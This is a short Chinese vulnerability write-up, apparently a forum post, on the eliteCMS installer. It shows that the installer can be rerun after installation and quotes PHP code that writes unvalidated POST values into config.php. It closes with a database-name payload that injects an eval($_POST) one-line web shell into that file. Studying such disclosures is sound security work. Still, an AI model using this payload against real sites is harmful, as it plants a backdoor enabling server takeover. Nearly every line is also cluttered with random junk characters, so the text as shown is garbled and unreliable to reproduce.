eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装; k" Q% H/ l; p8 }7 X) S
0 w, f8 [6 t) g1 |- G: T9 B* q
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
3 R1 N* n( f- K, M+ ?& H% `; |我们来看代码:
0 b1 {. x- \: F A" O D
- R' n. C. z4 D$ J4 i* e/ x6 t.../ w" C4 u4 a" w/ n2 ]
elseif ($_GET['step'] == "4") { V4 e8 n! \& g4 s/ F9 f
$file = "../admin/includes/config.php";
/ f; r; s* v' @ $write = "<?php\n";
. c2 c9 M) `0 C $write .= "/**\n";
, C( V9 V9 x% c9 \ $write .= "*\n";0 u r f$ L& t
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n"; G+ r( \# p4 G" J5 U4 B
...略...7 {8 N) q! F7 j- V3 A7 ]9 x
$write .= "*\n";
/ s3 h6 X5 a9 m7 K( i $write .= "*/\n";
$ |) ?- h/ x/ A( S( A* T $write .= "\n";/ [" k0 m } M) |2 M
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
, K8 f0 O/ `% N t) C ~3 i $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";* K) j8 c$ t. I0 s
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n"; H2 D7 G. B9 e$ W3 g$ M& M
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
; ~: x8 L9 V' _" k. \ $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";( b1 Z8 ^7 E* a# t R( S8 g
$write .= "if (!\$connection) {\n";0 U0 n/ B+ @! C- |; n z9 l1 _3 E
$write .= " die(\"Database connection failed\" .mysql_error());\n";& @$ l- c7 e( ?2 C6 C
$write .= " \n";" y6 l6 m, J. H, A
$write .= "} \n";
3 ]7 P9 c# G" g' u3 g $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
+ w) Q$ A# I6 ^- \ W $write .= "if (!\$db_select) {\n";: x$ \ \" p% A r% L1 ^6 U8 R
$write .= " die(\"Database select failed\" .mysql_error());\n";' b" B+ ~! E) T U" y# k+ U
$write .= " \n";
, [6 z7 g& {% X$ d/ N $write .= "} \n";5 e5 t* r6 R2 W3 G
$write .= "?>\n";" r% p6 a6 i3 l- C* D. D; C
; V, K7 y" W7 {( ~9 R5 u6 Z
$writer = fopen($file, 'w');' e/ @! H* O6 Q# A
...0 j3 ^0 e& U! p: Z% n/ {
+ ?- Z& i# m- G: E- W在看代码:9 f, B; b" j2 G# X: K$ f
) v! X9 `( S: D( g* |' h# f
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];" O9 R: n% I. k8 z
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];2 w, F0 H o( S+ K
$_SESSION['DB_USER'] = $_POST['DB_USER'];/ s1 |/ r( P) {3 M' C5 m: y
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
! J0 h) S$ {+ \: r6 u9 n1 c) _2 T
* C& H- ?5 C1 [! c; K" j取值未作任何验证
p, T8 H8 s. Q7 Z; }# e7 y如果将数据库名POST数据:
$ B5 ^& y5 c$ ` ! r y' ?; O( \0 w Y- L" o: ]* u
"?><?php eval($_POST[c]);?><?php# X( J! k8 x: X+ u
& [2 r& O1 t( R+ l5 b将导致一句话后门写入/admin/includes/config.php1 @7 Z& m; ~ U% U& B
|